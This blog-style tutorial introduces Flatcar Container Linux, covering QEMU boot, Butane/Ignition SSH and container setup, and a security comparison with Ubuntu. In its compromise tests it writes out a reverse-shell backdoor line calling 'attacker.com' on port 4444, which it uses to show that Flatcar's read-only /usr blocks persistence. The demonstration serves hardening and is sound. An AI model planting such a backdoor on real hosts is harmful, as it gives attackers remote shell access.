Immutable, Minimal, and Actually Useful: Meet Flatcar

There’s a certain chaos to most container hosts — which may excite security vendors, but it’s far from ideal in practice. You start with good intentions: run a few workloads, install some debugging tools, tweak a config or two. Before long, your supposedly “minimal” server is a mess of who-knows-what — a setup that almost always ends up demolishing your lab. And that’s without even touching on how permissive and exposed most container hosts are by default, lighting up security tests.

Flatcar flips that on its head.

It’s an immutable Linux distro built specifically for containers — minimal by default, but structured enough to scale. Originally forked from CoreOS and now a CNCF project, Flatcar keeps your host clean, repeatable, and hardened without making you jump through too many hoops just to get started.

In this post, we’ll:

• Spin up a Flatcar instance the fast way (QEMU + SSH),

• Talk about what makes Flatcar different from Ubuntu or Alpine as a base OS,

• Set the stage for running real apps (like our Flask demo) in a clean, controlled environment,

• And cover some odds and ends

We'll figure out why it is worthwhile to give some love and care to your OS. Lfg!

---

Part 1: Flatcar, Meet QEMU — The Minimal Setup That Just Works

Environment Setup

Before we jump in, here's what we're using for this Flatcar lab:

• Mac (Apple Silicon)
• QEMU and wget installed via Homebrew

  brew install qemu wget
  

• No UTM or GUI tools, just our best friend the terminal
• We’ll also use curl, ssh, and docker later in the setup

This approach keeps things light, fast, and reproducible — ideal for experimentation and lab testing.

Step 1: Boot Flatcar with No SSH (Just QEMU)

Do it the quick and easy way first.

Download the Image

wget https://stable.release.flatcar-linux.net/amd64-usr/current/flatcar_production_qemu.sh
wget https://stable.release.flatcar-linux.net/amd64-usr/current/flatcar_production_qemu_image.img

Launch with QEMU

chmod +x flatcar_production_qemu.sh
./flatcar_production_qemu.sh

After boot, you should see something like this (you might see some errors in between but you should be good to go):

Flatcar Container Linux by Kinvolk stable 4152.2.3 for QEMU
core@localhost ~ $

You’re in. Feels about as special as flashing the membership card at Costco.

What You Can Do in This Shell

You’re now logged in as the core user inside a full Flatcar VM.

Try a few commands:

uname -a
cat /etc/os-release
docker --version

This is a real Linux system running on QEMU. A full, container-focused distro with a locked-down filesystem and minimal moving parts.

---

Step 2: Enable SSH Access with Ignition

Manual terminal access is fine for this environment, but SSH would be more practical in most environments. To enable SSH, we’ll pass in an Ignition config when launching Flatcar. That config will:

• Create the .ssh/authorized_keys file for the core user
• Optionally tweak hostname, users, or services

We’ll generate that config using Butane , a lightweight, human-friendly tool for writing system configurations. Butane lets you describe your desired system setup — like users, SSH keys, file writes, and systemd services — in YAML, which it then compiles down into Ignition JSON, the low-level format understood by Flatcar during first boot.

This helps, because Ignition JSON is not something you'd want to write by hand. It’s rigid, verbose, and just not what you want. Butane gives you a far cleaner experience and helps validate your configs before anything ever touches your VM.

Butane is the official and recommended way to create Ignition configs for Flatcar, and it’s supported across local labs, cloud platforms, and production clusters. Let's get started.

Generate an SSH Key (if needed) If you don’t already have an SSH keypair, generate one with:

ssh-keygen -t ed25519 -C "flatcar-lab"

Then copy your public key (~/.ssh/id_ed25519.pub or similar) — you’ll use it in the next step.

Write a Butane config Save this as flatcar-ssh.bu:

variant: flatcar
version: 1.0.0
passwd:
  users:
    - name: core
      ssh_authorized_keys:
        - ssh-ed25519 AAAA...your-public-key...

Replace the ssh-ed25519 string with your actual public key.

Convert Butane to Ignition JSON Run this from the same directory as your .bu file:

butane flatcar-ssh.bu > flatcar-ssh.ign

You now have a valid Ignition config and can launch with the ignition file added to our same startup script via:

./flatcar_production_qemu.sh -i flatcar-ssh.ign

---

Part 2: Immutable Doesn’t Mean Useless

One of the first things you’ll notice when exploring Flatcar is that the system feels both familiar and just a bit different.

Try writing to /tmp, and everything’s fine. Try installing a package, modifying a system binary, or writing to /usr/bin and you’ll hit a wall.

That’s by design.

Flatcar uses a read-only root filesystem for its core OS components. System partitions like /usr (where most binaries live) are immutable at runtime, thus you can’t just apt install or dnf update your way to a new setup.

Instead:

• Changes to the base OS are made via Ignition configs (like we did earlier) or via image updates.

• Containers are still free to run and store data in writable areas like /var.

• If you need dev tools or an interactive shell, you can use toolbox to spin up a throwaway container.

This approach eliminates “drift” — those small, undocumented, slightly-different tweaks across servers that wreck consistency, make debugging harder, and increase your attack surface.

And for security? No sneaky backdoors dropped into /usr/bin, no persistence from a rogue curl | bash, no blah blah blah.

Quick Ubuntu vs Flatcar Comparison

While both Ubuntu and Flatcar can run containers just fine, the purpose of course is different. Ubuntu gives you a full OS; Flatcar strips that away in favor of immutability, minimal attack surface, and easier automation. Flatcar is just a container platform.

So… What Can You Change?

Flatcar locks down the base OS, but that doesn’t mean you can’t customize things. You just do it the Flatcar way — declaratively, during provisioning.

Here’s what you can actually configure:

These configs are baked in at boot time via Ignition. Want to change something?
You update your Butane YAML and boot a new VM from scratch — no vi /etc/... hacking required.

You don’t SSH into Flatcar to fix it — you boot a new one that already knows what it’s doing.

---

Part 3: Flatcar, But Bootstrapped

One container, one Ignition config, zero drift. Now it’s time to wire up something more interesting. This part walks you through creating an Ignition-based Flatcar VM that auto-starts your containerized app on boot. It’s the MVP version of a "real" setup: no Kubernetes, no Terraform, just one Ignition file and a Flask container.

It's probably not how you'd run production workloads. But for:

• Learning how Flatcar handles systemd and boot-time provisioning
• Building edge nodes, lab appliances, or single-purpose VMs
• Getting comfortable with declarative infrastructure

What We'll Build

A QEMU-launched Flatcar VM that:

• Has SSH enabled (via Ignition)
• Automatically pulls and starts a Docker container with a Flask app
• Exposes it to the local machine for testing

Step 1: A Simple Flask App

If you don't already have one, create a simple Python Flask app:

# app.py
from flask import Flask

app = Flask(__name__)

@app.route("/")
def index():
    return "Index Placeholder"

if __name__ == '__main__':
    app.run()

And a Dockerfile:

FROM python:3.9-slim-buster

WORKDIR /app

COPY requirements.txt requirements.txt
RUN pip3 install -r requirements.txt

COPY . .

CMD ["python3", "-m", "flask", "run", "--host=0.0.0.0"]

Build and push it somewhere public (like Docker Hub). Or just use mine here: sfmatt/hello-flask.

Step 2: Butane Config with Container Startup

Here's a minimal Butane file that:

• Enables SSH
• Starts Docker
• Runs your container with systemd

variant: flatcar
version: 1.1.0

systemd:
  units:
    - name: flask.service
      enabled: true
      contents: |
        [Unit]
        Description=Flask Demo App
        After=docker.service
        Requires=docker.service

        [Service]
        Restart=always
        ExecStartPre=/usr/bin/docker rm -f flask-app || true
        ExecStart=/usr/bin/docker run --name flask-app -p 5000:5000 sfmatt/hello-flask
        ExecStop=/usr/bin/docker stop flask-app

        [Install]
        WantedBy=multi-user.target

passwd:
  users:
    - name: core
      ssh_authorized_keys:
        - ssh-rsa AAAAB3... your public SSH key

Save as flask.bu.yaml.

Step 3: Launch Flatcar with Flask

You could go through the process of converting the Butane file to Ignition and then running the wrapper script with manual changes for the port, etc. But, this boot script will take care of everything, just make sure you have that butane file. Assuming we still have our working QEMU setup:

#!/bin/bash
set -euo pipefail

# === CONFIG ===
BASE_IMG="flatcar_production_qemu_image.img"
QEMU_WRAPPER="flatcar_production_qemu.sh"
BUTANE_FILE="flask.bu.yaml"
IGN_FILE="config.ign"

# === CLEANUP (with confirmation to avoid accidental nuking) ===
echo "[*] Cleaning up old files..."
[ -f "${BASE_IMG}" ] && rm -f "${BASE_IMG}"
[ -f "${QEMU_WRAPPER}" ] && rm -f "${QEMU_WRAPPER}"
[ -f "${IGN_FILE}" ] && rm -f "${IGN_FILE}"

# === DOWNLOAD ===
echo "[*] Downloading fresh Flatcar image and QEMU wrapper..."
wget -q https://stable.release.flatcar-linux.net/amd64-usr/current/${BASE_IMG}
wget -q https://stable.release.flatcar-linux.net/amd64-usr/current/${QEMU_WRAPPER}
chmod +x "${QEMU_WRAPPER}"

# === PATCH QEMU WRAPPER TO EXPOSE PORT 5000 ===
echo "[*] Patching QEMU wrapper for Flask ports..."
sed -i '' '/-netdev user,id=eth0,hostfwd=tcp::"${SSH_PORT}"-:22/ s/hostname="${VM_NAME}"/hostname="${VM_NAME}",hostfwd=tcp::5000-:5000/' "${QEMU_WRAPPER}"

# === BUTANE ===
echo "[*] Compiling Butane config..."
butane "${BUTANE_FILE}" > "${IGN_FILE}"

# === BOOT ===
echo "[+] Booting Flatcar with Ignition..."
./${QEMU_WRAPPER} -i "${IGN_FILE}"

This should:

• Boot Flatcar
• Apply your Ignition config
• Auto-start your Flask container
• Make it reachable at localhost:5000

Step 4: Verify

After boot:

• Hit http://localhost:5000 in your browser

You now have a declaratively provisioned, minimal container host. Flatcar baby!

---

Part 4: What Happens After nsenter?

You’ve set up Flatcar. You’ve got a container running. So what have we actually gained once the host is compromised?

Here are some tests I ran, comparing Ubuntu to Flatcar with both running Root user.

Test 1: Package Manager

On Ubuntu:

apt install nmap
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
...
The following NEW packages will be installed:
  nmap

On Flatcar:

apt install nmap 
bash: apt: command not found
dnf install nmap
bash: dnf: command not found

Test 2: Backdoor Binary

On Ubuntu:

echo '#!/bin/bash\nbash -i >& /dev/tcp/attacker.com/4444 0>&1' > /usr/bin/updater
chmod +x /usr/bin/updater
ls /usr/bin/updater
updater

On Flatcar:

echo '#!/bin/bash\nbash -i >& /dev/tcp/attacker.com/4444 0>&1' > /usr/bin/updater
bash: /usr/bin/updater: Read-only file system

There are plenty of other benefits too. For example, while an attacker can create a systemd unit in /etc/systemd/system, it won’t survive a reboot. Unless they can compromise your Ignition config or tamper with the Flatcar image itself, they’re out of luck. In other words: owning the box doesn’t mean you own it forever.

A Few Possible Scenarios: Ubuntu vs. Flatcar

Part 5: Bootstrapping Kubernetes? No Problem.

If you're planning to run Kubernetes, Flatcar fits right in. You don’t install Kubernetes on Flatcar — you configure it from Flatcar. Using Ignition, you can automate everything: download kubeadm, set up Calico (or your preferred CNI), and initialize the control plane in one go.

There’s even an official Flatcar + Kubernetes guide that walks through it.

Forget post-boot tinkering (looking at you, UTM lab) — you're baking infrastructure into the image from the start.

Part 6: Flatcar Isn’t a Dumpster Fire — It’s a Blueprint

I came into this thinking Flatcar was some kind of bulletproof, military-grade OS. Untouchable. Immaculate. But what I discovered was something different. And yeah, I learned a hell of a lot along the way.

Flatcar’s whole deal is not being exciting in the way most operating systems are. There’s no weird drift to debug — which is actually great in a lab. No more “wait, where was I?” or “why the hell isn’t this working anymore?” Then you nuke the VM, hope you made a clone, and maybe vow to be more purposeful next time.

With Flatcar, you don’t need to tame the OS. It bootstraps a reliable base and lets you build on top of it. If you need customization, you do it through Ignition, not by poking around post-launch. Writing a Butane config and converting it with the CLI is freaking easy. It actually makes spinning up a repeatable environment feel satisfying.

You can still break things — it’s not magic — but you do so intentionally. And reversing those changes without touching your provisioning is just a reboot away.

Most importantly? Flatcar gives you the right degree of non-permissiveness. Why install a bunch of extra packages if this node is just for Kubernetes? You’re probably not ssh-ing into your EKS nodes to apt install things. You likely don’t need that systemd unit to persist across reboots unless it’s part of the blueprint.

There are alternatives like Bottlerocket and Talos, but we’ve only got so much time in one blog post…

In the end, it’s an OS purpose-built for hosting containers in the most secure manner possible. So no, it’s not a general-purpose distro. That’s the point.